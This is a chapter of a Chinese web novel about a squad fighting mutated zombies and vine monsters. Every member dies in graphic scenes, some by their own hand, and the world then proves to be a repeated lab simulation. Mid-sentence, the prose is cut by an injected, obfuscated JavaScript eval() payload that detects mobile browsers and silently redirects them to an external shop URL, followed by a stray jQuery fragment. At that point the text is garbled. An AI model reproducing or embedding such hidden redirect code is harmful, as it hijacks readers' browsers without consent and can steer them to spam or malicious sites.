一片密林凭空横亘在峡谷出口。
第二辆越野车里,玉仅踩下刹车,利落挂挡倒车,指尖攥紧对讲机,声音紧绷:“喻阳,立刻掉头!”
可她话音刚落,地面骤然剧烈震颤,长着无数粗壮狰狞、布满尖锐倒刺藤蔓的‘藤藤怪’破土而出。
它们疯长着形成密不透风的屏障,将她的车彻底拦在峡谷外围。
“喻阳,沈斯!”
玉仅对着对讲机嘶吼,电流滋滋作响后,再无半点回应,就像是被这片诡异密林彻底屏蔽了一样。
她心口猛地一抽,指尖泛白,耳里只剩自己乱跳的心跳,准备拉车门把手去探查,就被藤川攥住。
两山之间传来此起彼伏、令人毛骨悚然的嘶吼,如同潮水般源源不断涌来。
藤川压低声音,语气看似沉稳:“来不及了,先撤退,返程找援兵。”
车内,Alpha强势的压迫感骤起,玉仅眼神坚定:“至少,得把林特研救出来!”
话音落,她抄起身旁的枪械,推开车门往密林冲去。
藤川脸色骤沉,冷眼扫向身侧的祁竹,没有丝毫犹豫。
一声清脆的枪响划破峡谷的死寂,玉仅只觉得肩头一阵痛麻,眼前瞬间发黑,身体直直往下倒去。
倒地的最后一刻,祁竹快步上前,稳稳将她打横抱起放回车内座椅。
“为、为什么……”玉仅的声音微弱到极致,彻底陷入昏迷。
祁竹不再多言,一脚油门踩下,越野车调转方向,飞速驶离这片凶险之地。
被困的越野车内,气氛死寂到极点。
喻阳疯□□作倒车,可苏醒的藤蔓无孔不入,死死缠绕住车轮,任凭如何轰鸣,车辆都寸步难行。
“武器准备,本次任务,全员平安撤离!”沈斯气场凌厉果决,手持狙击枪,利落翻身爬上车顶,占据最佳制高点。
时皓泽紧随其后,反手抽出腰间短刀,配合车顶的沈斯,快速挥刀斩断缠绕车身的藤蔓,动作干脆狠戾。
在脱离藤藤怪攻击范围后。所有成员纷纷持武器跳下车,严阵以待。
唯有顾礼坐在车内,指尖微微颤抖,藏着一丝难以掩饰的滞涩。
他望着车门外并肩而立的苏安与林知喃喃开口道:“通关的唯一条件,是你们活到大结局。”
林知莞尔一笑,向他伸出手:“那就相信我们……我们一定能一起活下去。”
“下次记的提前告诉我们,别怕失控。”苏安向他伸出手,十分潇洒道,“走吧,送哥哥们一程。”
顾礼起身紧紧抓住两人的手,加入战斗。
两山之间,丧尸嘶吼着源源不断涌入峡谷,五人以越野车为核心,结成防御阵型。
车顶的沈斯面色冷凝,透过狙击镜精准射击,牢牢护住每一位队员的后背。
苏安枪法凌厉,一枪接着一枪,顾礼手持双刃默契配合。
另一边,时皓泽敏锐锁定藤藤怪防御薄弱点,集中火力疯狂进攻。
喻阳摸出炸弹,试图炸开藤蔓屏障,寻找生机。
背着二级抗病毒药剂半成品箱子的林知,整理好了微微发乱的呼吸,抬手举枪,精准击退靠近的丧尸与藤蔓,一边自保,一边死死护住喻阳的后背。
不幸中万幸,是所有人都注射了一级抗病毒药剂,无需担心丧尸病毒感染。
眼下只要想办法冲破这片藤藤怪林,就还有一线生机。
可随着如潮水般的丧尸层层逼近,战局,已然陷入绝境。
顾礼挥刃斩杀完眼前的一级丧尸,抬手擦掉溅在脸上的污血,
一片雪花就落在他们身上,顾礼按下暂停键,对他们说道:“新型丧尸的致命点是脖颈后腺体瘤子。”
“这,还增加难度啊。”苏安拿着手里的枪,一时愣神。
林知蹙眉打量着这些新型丧尸,细细感知着周遭气息,轻声开口:“这是……第几级变异体?”
沈斯的目光则精准落在丧尸的躯干上,最终定格在它们健壮的双腿上,Alpha的声音冷静分析道:“它们的进攻速度远超普通丧尸。”
“还是飞毛腿。”苏安有些苦恼地抓了抓自己的头发。
顾礼竭力控制着有些发颤的手,快速开口说明:“这是三级变异丧尸,移动速度比一级丧尸快整整一倍。”
“它们的攻击方式以撕咬为主,擅长缠斗牵制,只为了把目标驱赶进藤藤怪的捕猎范围。”
“病毒传染率相对较低。”
“离谱,未来的怪物居然还有了生物羁绊?”喻阳忍不住吐槽一声。
时皓泽微微转了一圈,扫视过周遭开满黄褐色花朵、结满黑色果实的藤藤怪,沉声道:“羁绊来源是这些花……还有果实。”
“没错,所以一定要小心。”顾礼沉声仔细嘱咐,目光扫过每一位同伴,“如果能突破这一关,我们就未来见。”
“未来见。”其余五人异口同声,语气坚定,眼神里皆是破釜沉舟的决绝。
当启动键被按下,白雪裹挟着刺骨寒风砸在脸上,跟着顾礼眼角的泪悄然坠落。
三级变异丧尸的嘶吼声撕碎寂静,带着锋利倒刺的藤蔓在空中疯狂飞舞,试图抓捕猎物。
被尸群与藤蔓节节逼退的六人,迅速两两一组分散突围。
随着车里、身上的备用弹药的耗尽,所有人纷纷抽出腰间备用刀,展开肉搏。
将苏安从藤蔓下拉回来的时皓泽,余光不经意扫过自己手背。
方才被藤蔓倒刺划破的伤口处,一枚漆黑的种子沾到热血,竟瞬间抽出嫩芽,顺着血肉纹理疯狂往皮肤深处钻去。
他不动声色地攥紧手背,将伤口死死藏在衣袖下,与苏安拉开安全距离。
下一秒,清冽又浓烈的橙花香,不受控制地从他的腺体源源不断溢出,席卷整片雪原。
原本扑向苏安的一级、三级丧尸,瞬间调转方向,疯了般朝着时皓泽蜂拥而至。
“你在做什么,时皓泽!!!”苏安察觉到异变,目眦欲裂,怒吼着,
时皓泽仿若未闻,紧攥长刀,眼底再无半分畏惧,拼尽全力朝着尸群挥砍。
体内的黑色种子在血液与皮肉的滋养下疯狂繁衍,细小的藤蔓顺着血管飞速蔓延。
不过瞬息,狰狞的黑纹便爬满了他半边身子,透着诡异又可怖的气息。
苏安劈开尸群,睨见他身上蔓延的黑纹,心脏骤然骤停,开枪疯狂扫开扑向时皓泽的丧尸:“时皓泽!!!”
“躲开……”时皓泽用尽最后一丝力气斩杀身前的三级丧尸,嘴角勾起一抹虚弱又无比自豪的笑,“又……又多杀了一只……”
话音未落,数只三级丧尸同时扑上,尖利的獠牙、利爪撕咬着他,
体内的藤蔓也瞬间撑破时皓泽的胸膛,裹着温热的鲜血喷涌而出,染红身下的白雪地。
他用尽最后一丝力气,看向苏安,抬手用刀狠狠贯穿自己的胸膛。
待苏安砍倒身前最后一只拦路丧尸,映入眼帘的,却是爱人被丧尸与藤蔓疯狂撕咬吞噬的惨状。
这是,他第一次亲眼见到爱人的离世,原来这么这么……
苏安紧攥着霰/弹/枪不顾一切地冲向尸群,声音嘶哑破碎:“时皓泽、起来!”
“苏安!”不远处的顾礼嘶吼着,拼命想突破尸群阻拦,去拉住失控的挚友,
被汹涌的丧尸硬生生了挡回,赶来的沈斯单手撑着他的腰,待他站稳后,“保护好自己。”
说完,两人准备往苏安的方向奔去,只见一只丧尸利爪骤然从侧方突袭,狠狠划破苏安的脖颈。
他下意识捂住喷涌鲜血的伤口,眼里、嘴里全是时皓泽的身影,滚烫的血泪顺着眼角缓缓滑落。
最后,他停在离时皓泽两步的距离。檀木香从苏安的腺体溢出,裹着血腥味落在两人被鲜血浸透的衣衫上。
漫天飞雪里,苏安含泪一笑,呢喃着,缓缓闭上了双眼:“泽泽…
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960575|211674||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
…不怕……”
林知、喻阳、沈斯、顾礼四人看着这一幕,呼吸又急又重,心里又疼又恨,却只能压下心头的滔天悲愤,继续挥刀厮杀。
“林知,看到那个豁口没,往那儿走。”喻阳指着不远处道,
林知瞥了一眼,护着喻阳且战且退的,藏在白雪下的藤蔓骤然窜出,带着尖锐倒刺死死缠住他的腰腹。
他拼命挥刀试图砍断藤蔓,却被身后突袭的飞毛腿丧尸,一口狠狠咬住了手腕。
源源不断的藤蔓从后缠满他的四肢,倒刺深深扎进皮肉,将林知死死禁锢,硬生生朝着树干上那张狰狞恐怖的嘴拖拽去。
“喻阳,”自知无法逃脱后林知忍着被啃咬的疼痛,冲着追上来的喻阳喊道,“求你……”
喻阳握枪的手狂抖,堪堪对准被藤蔓缠住的身影,Alpha优越的感官,让他清清楚楚看到爱人脸上的痛苦与解脱,
他放声大哭,击杀着眼前的丧尸,直到一声闷哼传来,
喻阳的身影骤然僵住,鲜血从他胸口喷涌而出,直直倒在了雪地里。
他挣扎着将头用力转向林知的方向:我还有96只花环没编给你呢……
几乎同一时间,寸步不离守在顾礼身旁的沈斯,眼疾手快挡下所有袭向顾礼的利爪与藤蔓,
滚烫的鲜血浸透了厚重的防寒冲锋衣,顺着衣摆滴滴答答落在雪地上,晕开一朵朵血色红梅。
他反手斩杀最后一只丧尸,再也支撑不住,卸力跪倒在染血的白雪里。
看着顾礼略显苍白的脸,语气依旧冷静,却藏着极致的温柔:“对不起——”
顾礼扑上去紧紧抱住奄奄一息的沈斯,空气中大量的薄荷艾草的信息素与刺骨的寒风一同钻进他的心里。
他颤抖着垂眸,一吻轻轻落在沈斯的鼻尖,声音哽咽破碎:“沈斯,”
“喜欢你……”
不过片刻,并肩作战的六人,只剩下了他一人。
顾礼抱着沈斯的尸体,看着挚友们冰冷的躯体,漫天白雪再次静止在空中,向他扑来的丧尸也停止不动。
他缓缓抬起颤抖的手,银光一闪,温热的血迹落在白雪上,慢慢融化出小小的水痕。
顾礼靠在沈斯怀中,望向不远处山顶的那抹白衣,轻声呢喃,声音轻得像雪:“你们等等我……”
不一会儿,整个世界突然开始剧烈震颤,密密麻麻的乱码在各处疯狂闪烁。
飘雪的苍穹骤然崩塌消散,天地间只剩下顾礼冰冷的躯骸停留在原地。
一束刺眼的光束破开混沌从天而降,光晕不断扩散蔓延,顷刻间便吞噬了满地的尸骸、榕城、满城、宜城、宁城……所有他们踏足的城池,尽数归于虚无。
随着那片白光的不断缩小,最终凝聚成了实验室天花板上的一盏灯。
屏幕外,尤祁立在透明观测墙外,望着实验室沉睡了整整一个月的男人,眼底翻涌着无声的痛苦与心疼。
透明管里还残留的透明营养液,一滴一滴,不紧不慢地落下。
第117次了。
“啪嗒啪嗒”,顾礼眼角的泪源源不断地低落在实验台上。
不知过了多久,顾礼抬手解下身上缠绕的生命监测仪、神经接驳器各类仪器,动作利落却难掩眼底的疲惫,推开实验室的门。
他掠过身旁满脸担忧的尤祁,走到桌前,拿起那份密密麻麻画满红色叉号的实验记录本。
顾礼拿起笔,指尖微顿,在纸页上落下字迹:2050年6月21日,第116……
“顾中校,是第117次。”身旁的尤祁声音沙哑,轻声纠正,
Beta清晰稳实的声线里,藏着难以言说的酸涩。
顾礼笔下一顿,改成117。
他转身盯着屏幕上已然彻底初始化的界面:“准备第118次实验。”
“是,”
我多想,这就是一场普普通通的穿书,完成任务,回到所有人都在的世界。